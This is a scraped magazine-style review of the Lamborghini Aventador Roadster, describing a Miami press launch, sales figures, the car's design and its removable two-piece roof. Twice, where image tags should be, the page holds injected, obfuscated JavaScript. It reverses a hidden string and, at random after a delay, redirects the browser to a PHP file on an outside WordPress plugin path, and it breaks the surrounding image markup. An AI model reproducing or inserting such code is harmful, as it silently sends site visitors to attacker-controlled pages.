$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/T5E9054-728×485.jpg” alt=”” width=”728″ height=”485″ />
It’s a warm but blustery morning and, jetlagged and bleary-eyed, we arrive at the circuit, knock back as many double espressos as we dare, and assemble for a press briefing. Normally these are an exercise in mental endurance – a group of mainly disinterested journos who just want to get out and drive, not listen to some suit droning on and on about corporate sales strategies. But this is Lamborghini and, as the company is at pains to point out, it does things a little differently.
So we’re treated to a short introduction, courtesy of company CEO Stephan Winkelmann, who tells us some fairly stark truths about the worldwide market share occupied by supercar manufacturers (it’s so tiny, you wonder why anyone would bother). Last year Lamborghini sold just 2,083 cars, but that was better than 2011, when 1,602 rolled off the production lines. These are numbers that Ferrari, Bentley and Aston Martin wouldn’t bother getting out of bed for. But aren’t we glad that Lamborghini is still with us? Still managing to shock and awe, while maintaining that elusive exclusivity that died out years ago with most other low volume manufacturers.
We’re then shown some of the key design elements, courtesy of the head of Lamborghini’s in-house design studio, Filippo Perini. Seriously, this unassuming guy should be venerated in the way Pininfarina and Bertone have been over the years, because the Aventador Roadster is utterly, utterly stunning. If you think it looks good in photos, just you wait to see one for real. It’s better looking than the ‘normal’ one (almost unheard of for a convertible), a complete triumph where there is NOT ONE SINGLE duff line – nothing that detracts, nothing you wish wasn’t there, nothing you hoped had been done differently. It’s a masterpiece, pure and simple. And it does the impossible: it turns heads in Miami, which is even more difficult than in Dubai.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Aventador_Roadster_A_Miami_39-728×485.jpg” alt=”” width=”728″ height=”485″ />
Having already spent some serious, quality time in the Aventador, we’re naturally curious to see if the roof is actually a big deal. And in at least one way, it really is, because it isn’t some fancy electrically folding item that erects and disappears at the touch of a button. Oh no, you have to physically remove it in two sections, and store it where your spare underwear would normally be carried. Best to courier your luggage to that weekend retreat in advance, then, because there’s barely more space for gear in this car than there is inside an F1 racer. In other words, when those two roof panels are snuggly ensconced within the front ‘boot’, the only way you’ll be able to carry anything is to stuff it inside your pockets. It’s a proper supercar, this, make no mistake.
Now give us the keys. We’re worked up and we want to see how this bad boy drives. Stifling a yeeee-haaa, it’s time to “avv foon”, and get to grips with a car that, even in its normal iteration, feels like it sometimes wants to execute you, your family and your neighbour’s cat. Just for giving it a funny look.
It was nice knowing you.
Killer Desktop Downloads at the bottom of the page
Pictures: Lamborghini
